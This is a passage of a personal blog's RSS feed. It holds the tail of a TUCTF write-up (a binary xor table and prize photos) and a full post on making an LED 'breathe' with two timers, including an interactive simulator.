&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;03&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000110011110010001000010000001110111000111010010101111101011&lt;/span&gt;   &lt;span class=&quot;mo&quot;&gt;0101101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
  &lt;span class=&quot;mo&quot;&gt;04&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000110011110010001000010000001110111000111010010101111101011&lt;/span&gt;   &lt;span class=&quot;mo&quot;&gt;0101101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
  &lt;span class=&quot;mo&quot;&gt;05&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000110011110010001000010000001110111000111010010101111101011&lt;/span&gt;   &lt;span class=&quot;mo&quot;&gt;0101101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000010100&lt;/span&gt;   &lt;span class=&quot;mo&quot;&gt;0110100011010101111110000001001011100101100111011011001011101010&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;59&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000000101&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1001011010110010001111110111111111110110111011101110110101111010&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000000101&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1001011010110010001111110111111111110110111011101110110101111010&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;61&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000000001&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1110100100101011110011101010010010110010001100100011101010011110&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;62&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000000001&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1110100100101011110011101010010010110010001100100011101010011110&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;63&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1111011011001101101100101101001001100011000001010000111101100111&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;(exclamation marks show when the result has been xored)&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;update-prizes&quot;&gt;Update: Prizes&lt;/h2&gt;

&lt;p&gt;The prizes have finally arrived!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/beagle.jpg&quot;&gt;&lt;img src=&quot;/images/tuctf/beagle_540x.jpg&quot; /&gt;
&lt;a href=&quot;/images/tuctf/tshirt-front.jpg&quot;&gt;&lt;img src=&quot;/images/tuctf/tshirt-front_540x.jpg&quot; /&gt;
&lt;a href=&quot;/images/tuctf/tshirt-back.jpg&quot;&gt;&lt;img src=&quot;/images/tuctf/tshirt-back_540x.jpg&quot; /&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 30 May 2016 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/tuctf/</link>
        <guid isPermaLink="true">https://blog.atx.name/tuctf/</guid>
        
        
      </item>
    
      <item>
        <title>Pulsing an LED with two timers</title>
        <description>&lt;p&gt;While looking at the power LED on my notebook when it is in standby, I started
to think about a way to implement the typical “breathing” animation. The standard way
involves having an interrupt which gets called a few dozen times a second setting
(much higher frequency) PWM value on the LED.&lt;/p&gt;

&lt;p&gt;Wouldn’t it be nice, if one could just configure the hardware and the LED would
perform the pulsing sequence without need for any software intervention?&lt;/p&gt;

&lt;h2 id=&quot;basic-function&quot;&gt;Basic function&lt;/h2&gt;

&lt;p&gt;In acoustics, there is a concept called &lt;a href=&quot;https://en.wikipedia.org/wiki/Beat_(acoustics)&quot;&gt;“beat”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In short, if we try to sum two sinusoids with frequencies \(f_1\) and \(f_2\),
which are relatively close to each other, the resulting waveform is going to pulse
at \(f_1 - f_2\) with frequency \(\frac{f_1 + f_2}{2}\).&lt;/p&gt;

&lt;div&gt;
&lt;span style=&quot;font-size: 30&quot;&gt;1000kHz + 1001kHz&lt;/span&gt;&lt;br /&gt;
&lt;audio controls=&quot;&quot;&gt;
	&lt;source src=&quot;/images/pulsing-led/1hz-pulsing.mp3&quot; type=&quot;audio/mpeg&quot; /&gt;
&lt;/audio&gt;
&lt;/div&gt;

&lt;p&gt;I am not going to perform any rigorous proving here, but addition is fairly similar
to performing the AND operation and square waves are similar to sinusoids, so
we can intuit that if we manage to do AND on two square waves of different frequencies,
we should get a similar effect.&lt;/p&gt;

&lt;p&gt;Ok, producing a square wave of a given frequency on a pin should be trivial, and the
simplest way to perform the ANDing is probably the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/pulsing-led/schema.svg&quot; height=&quot;300&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are four possible states in this circuit, and the LED is going to be lit only
iff the top pin (say \(b_1\)) is high and the bottom (\(b_2\)) is low. So this
circuit basically performs \(b_1 \wedge \neg{b_2} \)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: The LED is going to get reverse biased, do not forget to check whether
it can handle whatever the reverse voltage will be.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Anyway, let’s actually verify that it does what it should:&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;autoplay&quot; loop=&quot;loop&quot;&gt;
  &lt;source src=&quot;/images/pulsing-led/led-155.webm&quot; type=&quot;video/webm&quot; /&gt;
  &lt;source src=&quot;/images/pulsing-led/led-155.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;Just by looking at how the waveforms re-align in time is enough to tell that
the brightness waveform is going to be a triangle wave. At first this does not sound
like something that would be similar to breathing, but it looks reasonably good. The fact
that human eyes do not sense brightness &lt;a href=&quot;https://en.wikipedia.org/wiki/Weber%E2%80%93Fechner_law#The_case_of_vision&quot;&gt;linearly&lt;/a&gt;
probably helps significantly.&lt;/p&gt;

&lt;svg class=&quot;brightness&quot;&gt;&lt;path class=&quot;line&quot; id=&quot;linebri&quot; d=&quot;M0,91.66666666666666L0,91.66666666666666L100,50.000000000000014L100,50.000000000000014L200,91.66666666666666L200,91.66666666666666L200,91.66666666666666L200,91.66666666666666L300,50.000000000000014L300,50.000000000000014L400,91.66666666666666L400,91.66666666666666L400,91.66666666666666L400,91.66666666666666L500,50.000000000000014L500,50.000000000000014L600,91.66666666666666L600,91.66666666666666&quot;&gt;&lt;/path&gt;&lt;/svg&gt;

&lt;h2 id=&quot;adding-pwm-to-the-mix&quot;&gt;Adding PWM to the mix&lt;/h2&gt;

&lt;p&gt;Now we have the basic pulsing animation done, but only the pulsing frequency
is controllable. However, if there is PWM on the output pins available, it can
be used to make the animation much more customizable.&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;autoplay&quot; loop=&quot;loop&quot;&gt;
  &lt;source src=&quot;/images/pulsing-led/led-pwm.webm&quot; type=&quot;video/webm&quot; /&gt;
  &lt;source src=&quot;/images/pulsing-led/led-pwm.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;simulator&quot;&gt;Simulator&lt;/h2&gt;

&lt;p&gt;To get some intuition for getting the configuration right, I hacked together a
&lt;a href=&quot;http://d3js.org/&quot;&gt;D3&lt;/a&gt;-driven interactive simulator:&lt;/p&gt;

&lt;svg id=&quot;scope&quot;&gt;&lt;/svg&gt;
&lt;div id=&quot;led&quot;&gt;&amp;#9679;&lt;/div&gt;
&lt;svg id=&quot;brightness&quot; class=&quot;brightness&quot;&gt;&lt;/svg&gt;
&lt;p&gt;&lt;br /&gt;
&lt;label id=&quot;f1freql&quot; for=&quot;f1freq&quot;&gt;&lt;/label&gt;
&lt;input id=&quot;f1freq&quot; type=&quot;range&quot; min=&quot;1000&quot; max=&quot;1005&quot; step=&quot;0.1&quot; value=&quot;1000&quot; /&gt;
&lt;label id=&quot;f1pwml&quot; for=&quot;f1pwm&quot;&gt;&lt;/label&gt;
&lt;input id=&quot;f1pwm&quot; type=&quot;range&quot; min=&quot;0.01&quot; max=&quot;0.99&quot; step=&quot;0.01&quot; value=&quot;0.25&quot; /&gt;
&lt;br /&gt;
&lt;label id=&quot;f2freql&quot; for=&quot;f2freq&quot;&gt;&lt;/label&gt;
&lt;input id=&quot;f2freq&quot; type=&quot;range&quot; min=&quot;1000&quot; max=&quot;1005&quot; step=&quot;0.1&quot; value=&quot;1000.5&quot; /&gt;
&lt;label id=&quot;f2pwml&quot; for=&quot;f2pwm&quot;&gt;&lt;/label&gt;
&lt;input id=&quot;f2pwm&quot; type=&quot;range&quot; min=&quot;0.01&quot; max=&quot;0.99&quot; step=&quot;0.01&quot; value=&quot;0.75&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also note how the peak brightness changes, this needs to be compensated for by
changing the series resistor’s value.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;There are obviously some disadvantages to this method — especially the fact
that it needs two entire timers. On the other hand, modern MCUs tend to end up
with a ton of unused timers anyway in a lot of applications.&lt;/p&gt;

&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/d3/3.5.10/d3.js&quot;&gt;
&lt;/script&gt;

&lt;script src=&quot;/assets/js/pulsing-led/led.js&quot;&gt;
&lt;/script&gt;

&lt;style&gt;

#scope,.brightness {
	padding: 5px;
	width: 100%;
}

.brightness {
	height: 100px;
}

.brightness #linebri {
	stroke: yellow;
}

#scope,.brightness .line {
	fill: none;
	stroke: steelblue;
	stroke-width: 2px;
}

#scope {
	height: 200px;
}

#scope .pane {
	cursor: move;
	fill: none;
	pointer-events: all;
}

#scope #linea {
	stroke: orange;
}

#scope #lineb {
	stroke: green;
}

#scope #liner {
	stroke: steelblue;
}

#scope {
	shape-rendering: crispEdges;
}

#led {
	width: 100%;
	font-size: 80px;
	line-height: 40px;
	margin-bottom: 10px;
	color: #66ff00;
	cursor: default;
	text-align: center;
	-webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;  
}
&lt;/style&gt;

</description>
        <pubDate>Thu, 31 Dec 2015 00:00:00 +0100</pubDate>
        <link>https://blog.atx.name/pulsing-led/</link>
        <guid isPermaLink="true">https://blog.atx.name/pulsing-led/</guid>
        
        
      </item>
    
  </channel>
</rss>
